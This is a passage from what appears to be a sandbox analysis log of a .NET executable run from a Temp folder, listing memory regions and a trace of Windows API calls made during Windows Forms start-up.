"" Region: id = 2141 start_va = 0x1c420000 end_va = 0x1c42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c420000" filename = "" Region: id = 2142 start_va = 0x1c430000 end_va = 0x1c43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c430000" filename = "" Region: id = 2143 start_va = 0x1c440000 end_va = 0x1c44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c440000" filename = "" Region: id = 2144 start_va = 0x1c450000 end_va = 0x1c45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c450000" filename = "" Region: id = 2145 start_va = 0x1c460000 end_va = 0x1c46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c460000" filename = "" Region: id = 2146 start_va = 0x1c470000 end_va = 0x1c47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c470000" filename = "" Region: id = 2147 start_va = 0x1c480000 end_va = 0x1c48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c480000" filename = "" Region: id = 2148 start_va = 0x1c490000 end_va = 0x1c49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c490000" filename = "" Region: id = 2149 start_va = 0x1c4a0000 end_va = 0x1c4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4a0000" filename = "" Region: id = 2150 start_va = 0x1c4b0000 end_va = 0x1c4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4b0000" filename = "" Region: id = 2151 start_va = 0x1c4c0000 end_va = 0x1c4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4c0000" filename = "" Region: id = 2152 start_va = 0x1c4d0000 end_va = 0x1c4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4d0000" filename = "" Region: id = 2153 start_va = 0x1c4e0000 end_va = 0x1c4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4e0000" filename = "" Region: id = 2154 start_va = 0x1c4f0000 end_va = 0x1c4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c4f0000" filename = "" Region: id = 2155 start_va = 0x1c500000 end_va = 0x1c50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c500000" filename = "" Region: id = 2156 start_va = 0x1c510000 end_va = 0x1c51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c510000" filename = "" Region: id = 2157 start_va = 0x1c520000 end_va = 0x1c52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c520000" filename = "" Region: id = 2158 start_va = 0x1c530000 end_va = 0x1c53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c530000" filename = "" Region: id = 2159 start_va = 0x1c540000 end_va = 0x1c54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c540000" filename = "" Region: id = 2160 start_va = 0x1c550000 end_va = 0x1c55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c550000" filename = "" Region: id = 2161 start_va = 0x7ff001e0000 end_va = 0x7ff001effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 2162 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2163 start_va = 0x7fefcc30000 end_va = 0x7fefcc51fff monitored = 0 entry_point = 0x7fefcc35d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2164 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2165 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2166 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2167 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2168 start_va = 0x1c1e0000 end_va = 0x241dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c1e0000" filename = "" Region: id = 2169 start_va = 0x241e0000 end_va = 0x24f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000241e0000" filename = "" Region: id = 2170 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2171 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2172 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2173 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2174 start_va = 0x7fefa1a0000 end_va = 0x7fefa1a6fff monitored = 0 entry_point = 0x7fefa1a11a0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 2175 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 2176 start_va = 0x7fefbb80000 end_va = 0x7fefbcabfff monitored = 0 entry_point = 0x7fefbb894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2177 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2178 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2179 start_va = 0xa00000 end_va = 0xa01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2180 start_va = 0x7fefbd00000 end_va = 0x7fefbef3fff monitored = 0 entry_point = 0x7fefbe8c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2181 start_va = 0xa90000 end_va = 0xa90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2182 start_va = 0xaf0000 end_va = 0xaf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 2183 start_va = 0xa90000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 2184 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2185 start_va = 0xb00000 end_va = 0xb00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 2186 start_va = 0x7fefb250000 end_va = 0x7fefb27cfff monitored = 0 entry_point = 0x7fefb251010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2187 start_va = 0x7fefd6d0000 end_va = 0x7fefd721fff monitored = 0 entry_point = 0x7fefd6d10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2188 start_va = 0xb10000 end_va = 0xb13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2189 start_va = 0xc40000 end_va = 0xc5cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 2190 start_va = 0x1090000 end_va = 0x1090fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001090000" filename = "" Region: id = 2191 start_va = 0xb10000 end_va = 0xb13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2192 start_va = 0x10a0000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 2193 start_va = 0x10d0000 end_va = 0x10d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2194 start_va = 0x1a900000 end_va = 0x1a965fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2195 start_va = 0x12c0000 end_va = 0x12cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 2196 start_va = 0x12d0000 end_va = 0x12d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012d0000" filename = "" Region: id = 2197 start_va = 0x1a970000 end_va = 0x1aa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a970000" filename = "" Region: id = 2198 start_va = 0x1a7e0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 2199 start_va = 0x1aaa0000 end_va = 0x1ab9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aaa0000" filename = "" Region: id = 2200 start_va = 0x7fefabb0000 end_va = 0x7fefabc7fff monitored = 0 entry_point = 0x7fefabb1010 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2201 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2202 start_va = 0x1360000 end_va = 0x1360fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\System32\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mpr.dll.mui") Region: id = 2203 start_va = 0x7fefaba0000 end_va = 0x7fefaba9fff monitored = 0 entry_point = 0x7fefaba1198 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 2204 start_va = 0x7fefd170000 end_va = 0x7fefd1acfff monitored = 0 entry_point = 0x7fefd1718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2205 start_va = 0x7fefab70000 end_va = 0x7fefab91fff monitored = 0 entry_point = 0x7fefab71198 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 2206 start_va = 0x7fefab50000 end_va = 0x7fefab6bfff monitored = 0 entry_point = 0x7fefab51198 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 2207 start_va = 0x7fefab40000 end_va = 0x7fefab49fff monitored = 0 entry_point = 0x7fefab44938 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 2208 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 2209 start_va = 0x7fefb3f0000 end_va = 0x7fefb404fff monitored = 0 entry_point = 0x7fefb3f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2210 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2211 start_va = 0x1ad30000 end_va = 0x1ae2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 2212 start_va = 0x7fefab30000 end_va = 0x7fefab3efff monitored = 0 entry_point = 0x7fefab31040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2213 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 2214 start_va = 0x7fefb410000 end_va = 0x7fefb41bfff monitored = 0 entry_point = 0x7fefb4118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2215 start_va = 0x1370000 end_va = 0x1370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 2216 start_va = 0x1370000 end_va = 0x1370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001370000" filename = "" Region: id = 2217 start_va = 0x1abb0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abb0000" filename = "" Region: id = 2218 start_va = 0x1b4f0000 end_va = 0x1b5affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2219 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 2220 start_va = 0x24fa0000 end_va = 0x2509ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000024fa0000" filename = "" Region: id = 2221 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 2222 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 2223 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 2224 start_va = 0x25100000 end_va = 0x251fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000025100000" filename = "" Region: id = 2225 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2226 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2227 start_va = 0x24f80000 end_va = 0x2507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000024f80000" filename = "" Region: id = 2228 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Thread: id = 12 os_tid = 0xf10 [0116.667] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0117.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", nBufferLength=0x105, lpBuffer=0x21dcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpFilePart=0x0) returned 0x35 [0117.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", nBufferLength=0x105, lpBuffer=0x21dc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpFilePart=0x0) returned 0x35 [0117.224] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x21db20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0117.233] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x21dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0117.233] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x21dc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0117.267] GetVersionExW (in: lpVersionInformation=0x21dc70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21dc70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.270] GetVersionExW (in: lpVersionInformation=0x21dc70*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21dc70*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0119.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x21e120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x64 [0119.396] IsAppThemed () returned 0x1 [0119.399] CoTaskMemAlloc (cb=0xca) returned 0x1ae844d0 [0119.400] CreateActCtxA (pActCtx=0x21e5b8) returned 0x358688 [0119.403] CoTaskMemFree (pv=0x1ae844d0) [0119.435] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1ce [0119.435] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1cf [0119.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", nBufferLength=0x105, lpBuffer=0x21d100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpFilePart=0x0) returned 0x35 [0120.524] GetVersionExW (in: lpVersionInformation=0x21c270*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21c270*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0124.388] CoTaskMemAlloc (cb=0x104) returned 0x3557c0 [0124.388] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x3557c0, nSize=0x80 | out: lpBuffer="") returned 0x12 [0124.389] CoTaskMemFree (pv=0x3557c0) [0124.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x21e2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0124.393] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x21e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.395] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x21e140, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.440] GetSystemMetrics (nIndex=75) returned 1 [0124.479] AdjustWindowRectEx (in: lpRect=0x21e450, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x21e450) returned 1 [0124.495] GetCurrentProcess () returned 0xffffffffffffffff [0124.496] GetCurrentThread () returned 0xfffffffffffffffe [0124.496] GetCurrentProcess () returned 0xffffffffffffffff [0124.498] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x21e1c0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x21e1c0*=0x188) returned 1 [0124.503] GetCurrentThreadId () returned 0xf10 [0124.555] GetCurrentActCtx (in: lphActCtx=0x21e1d0 | out: lphActCtx=0x21e1d0*=0x0) returned 1 [0124.556] ActivateActCtx (in: hActCtx=0x358688, lpCookie=0x21e210 | out: hActCtx=0x358688, lpCookie=0x21e210) returned 1 [0124.562] lstrlenW (lpString="䅁") returned 1 [0124.568] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77060000 [0124.571] GetACP () returned 0x4e4 [0124.583] CoTaskMemAlloc (cb=0x10) returned 0x1ae81bf0 [0124.583] GetProcAddress (hModule=0x77060000, lpProcName="DefWindowProcW") returned 0x772ab0ac [0124.583] CoTaskMemFree (pv=0x1ae81bf0) [0124.612] GetStockObject (i=5) returned 0x1900015 [0124.613] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0124.616] CoTaskMemAlloc (cb=0x4c) returned 0x2fe570 [0124.616] RegisterClassW (lpWndClass=0x21deb0) returned 0xc12d [0124.617] CoTaskMemFree (pv=0x2fe570) [0124.617] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0124.619] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x2030e [0124.622] SetWindowLongPtrW (hWnd=0x2030e, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0124.627] GetWindowLongPtrW (hWnd=0x2030e, nIndex=-4) returned 0x772ab0ac [0124.634] lstrlenW (lpString="䅁") returned 1 [0124.639] GetVersionExW (in: lpVersionInformation=0x21c090*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21c090*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0124.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x21d148 | out: phkResult=0x21d148*=0x190) returned 0x0 [0124.652] RegQueryValueExW (in: hKey=0x190, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x21d0cc, lpData=0x0, lpcbData=0x21d0c8*=0x0 | out: lpType=0x21d0cc*=0x0, lpData=0x0, lpcbData=0x21d0c8*=0x0) returned 0x2 [0124.653] RegQueryValueExW (in: hKey=0x190, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x21d0cc, lpData=0x0, lpcbData=0x21d0c8*=0x0 | out: lpType=0x21d0cc*=0x0, lpData=0x0, lpcbData=0x21d0c8*=0x0) returned 0x2 [0124.654] RegCloseKey (hKey=0x190) returned 0x0 [0124.655] SetWindowLongPtrW (hWnd=0x2030e, nIndex=-4, dwNewLong=0xa117ac) returned 0x772ab0ac [0124.656] GetWindowLongPtrW (hWnd=0x2030e, nIndex=-4) returned 0xa117ac [0124.656] GetWindowLongPtrW (hWnd=0x2030e, nIndex=-16) returned 0x6c10000 [0124.661] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1cd [0124.665] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2030e, Msg=0x24, wParam=0x0, lParam=0x21d8f0) returned 0x0 [0124.665] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1d0 [0124.665] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2030e, Msg=0x81, wParam=0x0, lParam=0x21d870) returned 0x1 [0124.665] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2030e, Msg=0x83, wParam=0x0, lParam=0x21d910) returned 0x0 [0124.667] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2030e, Msg=0x1, wParam=0x0, lParam=0x21d870) returned 0x0 [0124.674] GetClientRect (in: hWnd=0x2030e, lpRect=0x21d0c0 | out: lpRect=0x21d0c0) returned 1 [0124.675] GetWindowRect (in: hWnd=0x2030e, lpRect=0x21d0c0 | out: lpRect=0x21d0c0) returned 1 [0124.682] GetParent (hWnd=0x2030e) returned 0x0 [0124.684] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11b41d3900000001) returned 1 [0125.006] AdjustWindowRectEx (in: lpRect=0x21e4d0, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x21e4d0) returned 1 [0125.071] AdjustWindowRectEx (in: lpRect=0x21e420, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x21e420) returned 1 [0125.081] GetProcessWindowStation () returned 0x44 [0125.083] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x27fbfd0, nLength=0xc, lpnLengthNeeded=0x21e000 | out: pvInfo=0x27fbfd0, lpnLengthNeeded=0x21e000) returned 1 [0125.300] SetConsoleCtrlHandler (HandlerRoutine=0xa1188c, Add=1) returned 1 [0125.302] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0125.303] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0125.305] GetClassInfoW (in: hInstance=0x1380000, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", lpWndClass=0x27fc058 | out: lpWndClass=0x27fc058) returned 0 [0125.309] CoTaskMemAlloc (cb=0x58) returned 0x2fe570 [0125.309] RegisterClassW (lpWndClass=0x21df20) returned 0xc1d2 [0125.309] CoTaskMemFree (pv=0x2fe570) [0125.311] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", lpWindowName=".NET-BroadcastEventWindow.2.0.0.0.33c0d9d.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x20310 [0125.313] NtdllDefWindowProc_W () 